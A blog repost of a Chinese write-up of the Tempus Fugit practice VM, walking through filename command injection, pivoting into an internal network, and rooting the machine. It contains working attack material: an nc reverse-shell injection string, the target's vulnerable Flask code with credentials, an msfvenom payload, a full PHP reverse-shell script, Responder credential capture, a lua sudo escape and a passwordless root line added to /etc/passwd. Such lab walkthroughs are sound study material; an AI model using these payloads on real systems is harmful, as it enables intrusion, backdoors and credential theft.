当前位置:   article > 正文

靶机Tempus Fugit wirteup_dig axfr mofo.pwn

dig axfr mofo.pwn

0x00 namp扫描

看来只能通过web拿shell了

0x01 分析web

御剑扫描没有任何文件,只能手动检查一下了

看到upload知道大概率是个上传拿shell的套路,继续看

现在猜测还有个FTP的漏洞,但靶机并没有开放21端口,很神秘,去看看upload

一言不合先上马

上传之后的回显提示只能上传txt和rtf,很神秘。开始怀疑这网站拿什么语言写的

右键查看源代码

<form enctype="multipart/form-data" action="/uploadFile/" method="post">   <input type="file" name="myfile" />   <br/>   <input type="submit" value="upload"/></form>

突然想课程设计用django写的一个网站,看来很可能是个python站点,url连一个文件都没有,全是目录,看了一下正常的django上传文件的例子,八成确定这是个python站点

正常上传一个123.txt(内容是123456)文件,猜测一下django的上传函数有一个文件后缀检测,并且会把文件再读出来打印(或者直接把post的内容打印出来)

根据upload  script标题猜测应该是命令执行漏洞,在文件内容分写入shell命令和python命令,但返回的都是文件里的内容,也就是内容应该并没有执行

这时候开始怀疑作者到底想怎么搞,不能直接上传shell,还不能执行语句,难不成拿django的漏洞打一波?没办法只能去推特上找一下相关的内容,发现有个大佬说文件名的位置有命令执行漏洞

//创建一个txt文件 123.txt;ipconfig

扒一下源码

好吧,开来必须要绕过.这个符号,尝试用*代替后面的.py,但windows不能用*作为文件结尾,只能在burpsuit里修改了

成功拿到源码,ok,他说可以上了

0x02 准备拿shell

分析一下源码得知可以在文件名的位置执行sh命令,准备反弹Shell

  1. import os
  2. import urllib.request
  3. from flask import Flask, flash, request, redirect, render_template
  4. from ftplib import FTP
  5. import subprocess
  6. #...
  7. #上传文件白名单
  8. ALLOWED_EXTENSIONS = {
  9. 'txt',
  10. 'rtf'
  11. }
  12. app = Flask(__name__)
  13. app.secret_key = "mofosecret"
  14. app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024
  15. @app.route('/', defaults = {
  16. 'path': ''
  17. })
  18. #看来400那么唠叨的问题找到了,万恶的fortune命令
  19. @app.route('/<path:path>')
  20. def catch_all(path):
  21. cmd = 'fortune -o'
  22. result = subprocess.check_output(cmd, shell = True)
  23. return "<h1>400 - Sorry. I didn't find what you where looking for.</h1> <h2>Maybe this will cheer you up:</h2><h3>" + result.decode("utf-8") + "</h3>"
  24. #...
  25. #检查文件后缀名,不难看出是截取以.分割后的字符串后三位是否在白名单中,那只要符合 xxx.txt/rtfxxx的规律就行了
  26. def allowed_file(filename):
  27. check = filename.rsplit('.', 1)[1].lower()
  28. check = check[: 3] in ALLOWED_EXTENSIONS
  29. return check
  30. @app.route('/upload', methods = ['POST'])
  31. def upload_file():
  32. if request.method == 'POST':
  33. if 'file' not in request.files:
  34. flash('No file part')
  35. return redirect(request.url)
  36. file = request.files['file']
  37. if file.filename == '':
  38. flash('No file selected for uploading')
  39. return redirect(request.url)
  40. if file.filename and allowed_file(file.filename):
  41. filename = file.filename
  42. file.save(os.path.join(UPLOAD_FOLDER, filename))
  43. cmd = "cat " + UPLOAD_FOLDER + "/" + filename
  44. result = subprocess.check_output(cmd, shell = True) //subprocess.check_output函数可以执行sh命令
  45. flash(result.decode("utf-8"))
  46. flash('File successfully uploaded')
  47. try:
  48. ftp = FTP('ftp.mofo.pwn') //拿域名做ftp服务器,很神秘
  49. ftp.login('someuser', 'b232a4da4c104798be4613ab76d26efda1a04606')
  50. with open(UPLOAD_FOLDER + "/" + filename, 'rb') as f:
  51. ftp.storlines('STOR %s' % filename, f)
  52. ftp.quit()
  53. except:
  54. flash("Cannot connect to FTP-server")
  55. return redirect('/upload')
  56. else :
  57. flash('Allowed file types are txt and rtf')
  58. return redirect(request.url)
  59. if __name__ == "__main__":
  60. app.run()

反弹shell有很多种方法,bash,nc,python,但只有命令执行的就考虑nc了,这里借用推特大佬的一个骚操作,将ip转10进制再扔到nc里反弹shell

  1. 123.txt;nc 3232256129 1999 -e sh
  2. //根据上面我们得出的结论,这个也行,但关键是十进制帅啊
  3. 123.txt;nc 192.168.80.129 1999 -e sh;123.txt

ok,用python美化一下

python -c "import pty; pty.spawn('/bin/bash')"

whoami查看竟然发现是root,什么嘛,这靶机不过如此,然后当我echo "kui::0:0:::/bin/bash" >> /etc/passd完登陆靶机时发现竟然登陆不上,这靶机难不成在登陆的shell做文章了?查看一下

在根目录下有个start.sh

  1. #! /usr/bin/env sh
  2. set -e
  3. # If there's a prestart.sh script in the /app directory, run it before starting
  4. PRE_START_PATH=/app/prestart.sh
  5. echo "Checking for script in $PRE_START_PATH"
  6. if [ -f $PRE_START_PATH ] ; then
  7. echo "Running script $PRE_START_PATH"
  8. . $PRE_START_PATH
  9. else
  10. echo "There is no script $PRE_START_PATH"
  11. fi
  12. # Start Supervisor, with Nginx and uWSGI
  13. exec /usr/bin/supervisord

可以大概分析出还有两个脚本控制登陆(因为/etc/profile并没有被做什么文章)

/usr/bin/supervisord

  1. #!/usr/bin/python2
  2. # EASY-INSTALL-ENTRY-SCRIPT: 'supervisor==3.3.3','console_scripts','supervisord'
  3. __requires__ = 'supervisor==3.3.3'
  4. import re
  5. import sys
  6. from pkg_resources import load_entry_point
  7. if __name__ == '__main__':
  8. sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
  9. sys.exit(
  10. load_entry_point('supervisor==3.3.3', 'console_scripts', 'supervisord')()
  11. )

/app/prestart.sh

  1. #! /usr/bin/env sh
  2. echo "Running inside /app/prestart.sh, you could add migrations to this file, e.g.:"
  3. echo "
  4. #! /usr/bin/env bash
  5. # Let the DB start
  6. sleep 10;
  7. # Run migrations
  8. alembic upgrade head
  9. "

并没有看到靶机登陆界面花里胡哨的Tempus Fugit,ifconfig看一下网络

跟VM分配的192.168.80.121不一样,这时候突然意识到这搞不好是个内网啊

直到后面我发现了这个,早知如此先看root再看home了

0x03 内网渗透

想起来django那个没用的ftp服务器,尝试ping一下

这就是内网啊,猛男落泪呀。

根据源码中的账号密码访问试试,这里不知道为什么ncftp无法链接但换成lftp就可以

lftp ftp://someuser@ftp.mofo.pwn

查看一下敏感文件:

Admin-password for our new CMS

hardEnough4u

这时候我是彻底怂了,newcms不就是还有个网站要打,端口转发第一个想到拿msf整一个,但后面发现还有直接拿ip route命令转发路由进内网的

0x04  新的cms

从这开始就只能开始求助国外大佬的writeup了

要查找内网存活的ip和端口当然首选nmap,python来一个。等会名挖掘直接上dig

cat /etc/issue查一下操作系统,发现系统用的是Alpine Linux 3.7,安装直接运行命令就完事了

apk add nmap

nmap,再启动

发现一个dns服务器,ftp服务器,还有一个172.19.0.1,估计这个就是我们要找的cms

看一下dns

cat /etc/resolv.conf

准备枚举一下域名,安装dig

apk add bind-toolsdig axfr @172.19.0.100 mofo.pwn

ping一下,172.19.0.1,再加上是前面唯一一个80端口开放的独苗,估计这个就是我们要找的cms了

这里也可以参考大佬的方法,直接拿nmap扫一波

nmap -sT -sV -A -O -p- ourcms.mofo.pwn

准备端口转发

方法一 毕竟都是在vm上,做个路由转发就能访问了

kali本机来一个路由转发

//192.168.80.129是kali的ipip route add 172.19.0.0/24 via 192.168.80.129

修改kali的host文件

访问ourcms.mofo.pwn:8080,总算到达下一个cms了

方法二 使用msf的端口转发功能

【Note:直接路由转发会出现访问后台巨卡无比的现象】

先生成一个payload

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=8080 -f elf -o shell2.elf

复制payload到kali的nginx目录(默认是在/var/www/html下),在172.19.0.10受害机上wget下来,记得给权限,然后./shell2.elf跑起来

打开msfconsole

msf的端口转发

portfwd add -l 777 -r 172.19.0.1 -p 8080

修改host文件

ok,现在访问ourcms.mofo.pwn:777

用msf要接后面的步骤把8080端口换成777就行

解释一下为什么必须要域名,以前做过一道ctf题,要访问百度的一个子域名才能返回flag,但百度根本没有这个子域名。最后发现要修改本地host自己做DNS解析才行,原理其实就是中间件的代理规则,像这台172.19.0.1的apache配置规则是访问ourcms.mofo.pwn:8080才能返回cms对应的网页,我们只做了端口转发,代理规则会认为我们要访问的是172.10.0.1:8080,那肯定拿不到cms,所以要在kali本地的host改一下

后台渗透(用的路由转发的步骤)

想都不想直接/admin 找后台

[这个地方可以也可以通过nmap先扫出来8080的目录文件]

拿出前面ftp服务器珍藏许久的账号密码

Admin-password for our new CMS

hardEnough4u

猜测账号是Admin,其实不用猜也知道是这个,进入后台

  1. //发现theme-edit.php可以修改首页php文件,丢个反弹shell的脚本在文件后面
  2. <?php
  3. error_reporting (E_ALL);
  4. ignore_user_abort(true);
  5. ini_set('max_execution_time',0);
  6. $os = substr(PHP_OS,0,3);
  7. $ipaddr=$_GET['ip'];
  8. $port=$_GET['port'];
  9. $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
  10. $cwd = getcwd();
  11. $msg = php_uname()."\n------------Code by Spider-------------\n";
  12. if($os == 'WIN') {
  13. $env = array('path' => 'c:\\windows\\system32');
  14. } else {
  15. $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
  16. }
  17. if(function_exists('fsockopen')) {
  18. $sock = fsockopen($ipaddr,$port);
  19. if(!$sock){ echo "error";}
  20. fwrite($sock,$msg);
  21. while ($cmd = fread($sock,1024)) {
  22. if (substr($cmd,0,3) == 'cd ') {
  23. $cwd = trim(substr($cmd,3,-1));
  24. chdir($cwd);
  25. $cwd = getcwd();
  26. }
  27. if (trim(strtolower($cmd)) == 'exit') {
  28. break;
  29. } else {
  30. $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
  31. if (is_resource($process)) {
  32. fwrite($pipes[0],$cmd);
  33. fclose($pipes[0]);
  34. $msg = stream_get_contents($pipes[1]);
  35. fwrite($sock,$msg);
  36. fclose($pipes[1]);
  37. $msg = stream_get_contents($pipes[2]);
  38. fwrite($sock,$msg);
  39. fclose($pipes[2]);
  40. proc_close($process);
  41. }
  42. }
  43. }
  44. fclose($sock);
  45. } else {
  46. $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  47. socket_connect($sock,$ipaddr,$port);
  48. socket_write($sock,$msg);
  49. fwrite($sock,$msg);
  50. while ($cmd = socket_read($sock,1024)) {
  51. if (substr($cmd,0,3) == 'cd ') {
  52. $cwd = trim(substr($cmd,3,-1));
  53. chdir($cwd);
  54. $cwd = getcwd();
  55. }
  56. if (trim(strtolower($cmd)) == 'exit') {
  57. break;
  58. } else {
  59. $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
  60. if (is_resource($process)) {
  61. fwrite($pipes[0],$cmd);
  62. fclose($pipes[0]);
  63. $msg = stream_get_contents($pipes[1]);
  64. socket_write($sock,$msg,strlen($msg));
  65. fclose($pipes[1]);
  66. $msg = stream_get_contents($pipes[2]);
  67. socket_write($sock,$msg,strlen($msg));
  68. fclose($pipes[2]);
  69. proc_close($process);
  70. }
  71. }
  72. }
  73. socket_close($sock);
  74. }
  75. ?>

访问ourcms.mofo.pwn:8080触发脚本,ok,反弹成功

后面的就全部靠推特大佬们的writeup了,对于萌新真的难度系数有点搞了

根据提示要从邮箱里寻找线索,

ls -al /var/mail

权限不够无法查看,gg

根据作者的提示要使用Responder【https://github.com/SpiderLabs/Responder】获取信息,ok

这个是Responsder的详细中文介绍

https://www.secpulse.com/archives/65503.html

攻击需要稍微等一会

./Responder.py -I eth0 -wrf

获得账号和密码

Username : murielle

Password : monkeys

[Note:账号是会变的,请尽快拿去用,不然就只能等下一个账号。不得不说写靶机的人才是真的大佬]

ssh连接,成功

查看一下home目录,emm,感觉很user.txt很可以,打开看一下

一串md5,虽然不知道是什么,但先去刚才的mail里看看有什么好东西

yooooo,shandee:9k4lw0r82hs0,似乎是得了的东西,看一下passwd,1010,感觉权限还是不行啊

ssh登陆一下

sudo -l跑一下看看有没有漏洞,没的话就需要其他方式提权了

作者没为难菜鸡啊,看来凭借lua提权就完事了

lua -e 'os.execute("/bin/sh")'

感谢这位大佬整理的shell,巨全

https://gtfobins.github.io/gtfobins/lua/#shell

0x05 提权(并不)

echo "kui::0:0:::/bin/bash" >>/etc/passwd

完事

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/72153
推荐阅读
相关标签
  

闽ICP备14008679号